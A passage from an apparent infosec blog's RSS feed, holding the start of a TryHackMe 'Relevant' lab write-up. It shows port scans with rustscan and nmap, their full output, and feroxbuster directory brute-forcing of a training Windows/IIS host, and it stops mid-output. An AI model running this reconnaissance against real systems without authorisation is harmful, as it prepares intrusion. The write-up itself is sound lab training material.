&lt;li>&lt;a class="link" href="https://github.com/websockets/wscat" target="_blank" rel="noopener"
>https://github.com/websockets/wscat&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://www.jetbrains.com/rider/" target="_blank" rel="noopener"
>https://www.jetbrains.com/rider/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://www.newtonsoft.com/json/help/html/SerializeTypeNameHandling.htm" target="_blank" rel="noopener"
>https://www.newtonsoft.com/json/help/html/SerializeTypeNameHandling.htm&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://caido.io/" target="_blank" rel="noopener"
>https://caido.io/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://gchq.github.io/CyberChef/" target="_blank" rel="noopener"
>https://gchq.github.io/CyberChef/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://ghidra-sre.org/" target="_blank" rel="noopener"
>https://ghidra-sre.org/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://www.jetbrains.com/decompiler/" target="_blank" rel="noopener"
>https://www.jetbrains.com/decompiler/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://github.com/dnSpy/dnSpy" target="_blank" rel="noopener"
>https://github.com/dnSpy/dnSpy&lt;/a>&lt;/li>
&lt;/ol></description></item><item><title>Relevant</title><link>https://crippledmind-infosec-journal.netlify.app/posts/writeups/thm/relevant/</link><pubDate>Sun, 16 Jun 2024 18:26:06 +0530</pubDate><guid>https://crippledmind-infosec-journal.netlify.app/posts/writeups/thm/relevant/</guid><description>&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;ul>
&lt;li>&lt;strong>Machine Name:&lt;/strong> Relevant&lt;/li>
&lt;li>&lt;strong>IP Address:&lt;/strong> [IP Address]&lt;/li>
&lt;li>&lt;strong>Difficulty:&lt;/strong> Medium&lt;/li>
&lt;/ul>
&lt;h2 id="information-gathering">Information Gathering
&lt;/h2>&lt;p>I started scan with &lt;a class="link" href="https://github.com/RustScan/RustScan" target="_blank" rel="noopener"
>&lt;code>rustscan&lt;/code>&lt;/a>, found port 80, 49663 and 445 ports open.
These are the most common ports for getting initial foothold, but 49663 is very uncommon(so suspicious).&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">rustscan&lt;/span> &lt;span class="c1">--ulimit 5000 -r 1-65535 -a $IP -- -Pn -A -T4 | tee -a scan.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">PORT&lt;/span> &lt;span class="n">STATE&lt;/span> &lt;span class="n">SERVICE&lt;/span> &lt;span class="n">REASON&lt;/span> &lt;span class="n">VERSION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">80&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">filtered&lt;/span> &lt;span class="n">http&lt;/span> &lt;span class="n">no&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">response&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">135&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">msrpc&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">Microsoft&lt;/span> &lt;span class="n">Windows&lt;/span> &lt;span class="n">RPC&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">139&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">netbios&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ssn&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">Microsoft&lt;/span> &lt;span class="n">Windows&lt;/span> &lt;span class="n">netbios&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ssn&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">445&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">filtered&lt;/span> &lt;span class="n">microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ds&lt;/span> &lt;span class="n">no&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">response&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">3389&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">ms&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">wbt&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">server&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">Microsoft&lt;/span> &lt;span class="n">Terminal&lt;/span> &lt;span class="n">Services&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">rdp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ntlm&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">info&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Target_Name&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">RELEVANT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">NetBIOS_Domain_Name&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">RELEVANT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">NetBIOS_Computer_Name&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">RELEVANT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">DNS_Domain_Name&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">DNS_Computer_Name&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Product_Version&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">10.0.14393&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_&lt;/span> &lt;span class="n">System_Time&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">2024&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">06&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="n">T13&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">28&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">00&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">00&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_ssl&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">2024&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">06&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="n">T13&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">33&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">08&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">00&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">00&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="n">s&lt;/span> &lt;span class="n">from&lt;/span> &lt;span class="n">scanner&lt;/span> &lt;span class="n">time&lt;/span>&lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">ssl&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">cert&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Subject&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">commonName&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">Relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Issuer&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">commonName&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">Relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Public&lt;/span> &lt;span class="n">Key&lt;/span> &lt;span class="n">type&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">rsa&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Public&lt;/span> &lt;span class="n">Key&lt;/span> &lt;span class="n">bits&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">2048&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Signature&lt;/span> &lt;span class="n">Algorithm&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">sha256WithRSAEncryption&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Not&lt;/span> &lt;span class="n">valid&lt;/span> &lt;span class="n">before&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">2024&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">06&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">15&lt;/span>&lt;span class="n">T13&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">22&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">30&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Not&lt;/span> &lt;span class="n">valid&lt;/span> &lt;span class="n">after&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">2024&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">12&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">15&lt;/span>&lt;span class="n">T13&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">22&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">30&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">MD5&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">3899&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">9&lt;/span>&lt;span class="n">add&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">605&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">3667&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">4142&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">b8b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mf">7e42&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">36&lt;/span>&lt;span class="n">ea&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">SHA&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">fc71&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">3924&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="n">a7e&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="n">c01&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">bb51&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">9465&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">4800&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="n">f04&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">f2ac&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">d73b&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="c1">-----BEGIN CERTIFICATE-----&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">MIIC1DCCAbygAwIBAgIQfCiYuHMheZpPNXVuApyXhTANBgkqhkiG9w0BAQsFADAT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">MREwDwYDVQQDEwhSZWxldmFudDAeFw0yNDA2MTUxMzIyMzBaFw0yNDEyMTUxMzIy&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">MzBaMBMxETAPBgNVBAMTCFJlbGV2YW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">MIIBCgKCAQEAts8eZAiC029jcGXhUL68IXseXFWcgqXCiDU4X7Ba811bVw9ESy70&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">iVO76DBONGsr4Yd5&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">dhHXtxBv6PfcjBCqc6g&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">CtR0&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">hfDPp&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">ml5P&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">uw4AZUTyfrY&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="mi">6&lt;/span>&lt;span class="n">hVQqLBXojAlHt&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">avwYgxLdUO0LeonbHOEKD7GYTKUeXmzHRVnJWSu&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">ig4&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="n">DjLX&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Qy5rb5s8b&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">bEB7IXhTamR&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">VE43nmbk3uwZPvYnVFpOMh0GgzUYz37uU5wK1aUofe&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">mZk0J4LJXAR3l0V5StbaHp5XNb2AB2YHp2Pw7CundO6JB9zfmbSLujjjU4VUNqYw&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="n">ptgSJZkV35&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">bqgEeHCRpNNCqVu6YhTVwIDAQABoyQwIjATBgNVHSUEDDAKBggr&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">BgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBACFbjHjCdSkY&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">De8PKuIF84qpcBet8saz5BbapeobNdCtpNybCHLtnDy2tHbsxS&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="n">OnGmtEN3cAaf&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">za2WoiMUcoD56nrx7vE02CuZGcnfgXN2G2sxxmCOZdRAMg257UWITeJLQH9zWZ5H&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Iikuk&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">rZIklL8ieX9&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">Ad2UeX4O843UsrxEfjnC0ZtcO&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="n">wZRlmYvKHj4ew&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">f4&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">gOOTZXCvc6zrLxrxQiYbxbVHlUgLwyhKgD&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">vq8YIvX27&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">mHZseMHzKD9QRhAlbkj&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Pz57I37Z3vkXsuI&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">i2bJc4gttrjH3lQqoMWYTI9dj1&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="n">W08XzDgnhtIf5aTAiwsP&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">rtieJbN7gm8&lt;/span>&lt;span class="o">=&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_&lt;/span>&lt;span class="c1">-----END CERTIFICATE-----&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">49663&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">http&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">Microsoft&lt;/span> &lt;span class="n">IIS&lt;/span> &lt;span class="n">httpd&lt;/span> &lt;span class="mf">10.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">title&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">IIS&lt;/span> &lt;span class="n">Windows&lt;/span> &lt;span class="n">Server&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">methods&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Supported&lt;/span> &lt;span class="n">Methods&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">OPTIONS&lt;/span> &lt;span class="n">TRACE&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="n">HEAD&lt;/span> &lt;span class="n">POST&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_&lt;/span> &lt;span class="n">Potentially&lt;/span> &lt;span class="n">risky&lt;/span> &lt;span class="n">methods&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">TRACE&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">server&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">header&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">IIS&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">10.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">49667&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">filtered&lt;/span> &lt;span class="n">unknown&lt;/span> &lt;span class="n">no&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">response&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">49669&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">filtered&lt;/span> &lt;span class="n">unknown&lt;/span> &lt;span class="n">no&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">response&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Service&lt;/span> &lt;span class="n">Info&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">OS&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Windows&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">CPE&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">cpe&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">microsoft&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">windows&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="port-80">Port 80
&lt;/h3>&lt;p>The root just hosts a Microsoft IIS default server, will dirbust with feroxbuster. I generally use two wordlists,&lt;/p>
&lt;ul>
&lt;li>raft-medium-directories-lowercase.txt&lt;/li>
&lt;li>directory-list-2.3-medium.txt&lt;/li>
&lt;/ul>
&lt;p>Deadend!!!&lt;/p>
&lt;h3 id="port-49663">Port 49663
&lt;/h3>&lt;p>Interestingly, I found a endpoint &lt;code>nt4wrksv&lt;/code> with the second list. This machine makes us learn the importance of patience in enumeration, because the directory folder in the second list was at the very last. So i had to go through whole big list to get this endpoint.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">~/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span> &lt;span class="n">node&lt;/span> &lt;span class="n">system&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">feroxbuster&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">w&lt;/span> &lt;span class="err">$&lt;/span>&lt;span class="n">SECLISTS&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Discovery&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Web&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Content&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">directory&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">list&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mf">2.3&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">medium.txt&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">u&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="mf">10.10.178.5&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">49663&lt;/span>&lt;span class="o">/&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">C&lt;/span> &lt;span class="mi">400&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">404&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">503&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">n&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">___&lt;/span> &lt;span class="n">___&lt;/span> &lt;span class="n">__&lt;/span> &lt;span class="n">__&lt;/span> &lt;span class="n">__&lt;/span> &lt;span class="n">__&lt;/span> &lt;span class="n">__&lt;/span> &lt;span class="n">___&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">__&lt;/span> &lt;span class="o">|&lt;/span>&lt;span class="n">__&lt;/span> &lt;span class="o">|&lt;/span>&lt;span class="n">__&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">|&lt;/span>&lt;span class="n">__&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="err">`&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="err">\&lt;/span> &lt;span class="err">\&lt;/span>&lt;span class="n">_&lt;/span>&lt;span class="o">/&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="err">\&lt;/span> &lt;span class="o">|&lt;/span>&lt;span class="n">__&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="o">|&lt;/span>&lt;span class="n">___&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="err">\&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="err">\&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="err">\&lt;/span>&lt;span class="n">__&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="err">\&lt;/span>&lt;span class="n">__&lt;/span>&lt;span class="o">/&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="err">\&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="o">|&lt;/span>&lt;span class="n">__&lt;/span>&lt;span class="o">/&lt;/span> &lt;span class="o">|&lt;/span>&lt;span class="n">___&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">by&lt;/span> &lt;span class="n">Ben&lt;/span> &lt;span class="s2">&amp;#34;epi&amp;#34;&lt;/span> &lt;span class="n">Risher&lt;/span> &lt;span class="err">🤓&lt;/span> &lt;span class="n">ver&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">2.10.3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">───────────────────────────┬──────────────────────&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">🎯&lt;/span> &lt;span class="n">Target&lt;/span> &lt;span class="n">Url&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="mf">10.10.178.5&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">49663&lt;/span>&lt;span class="o">/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">🚀&lt;/span> &lt;span class="n">Threads&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="mi">50&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">📖&lt;/span> &lt;span class="n">Wordlist&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">Users&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">vikas&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">hacking&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">SecLists&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Discovery&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Web&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Content&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">directory&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">list&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mf">2.3&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">medium.txt&lt;/span>
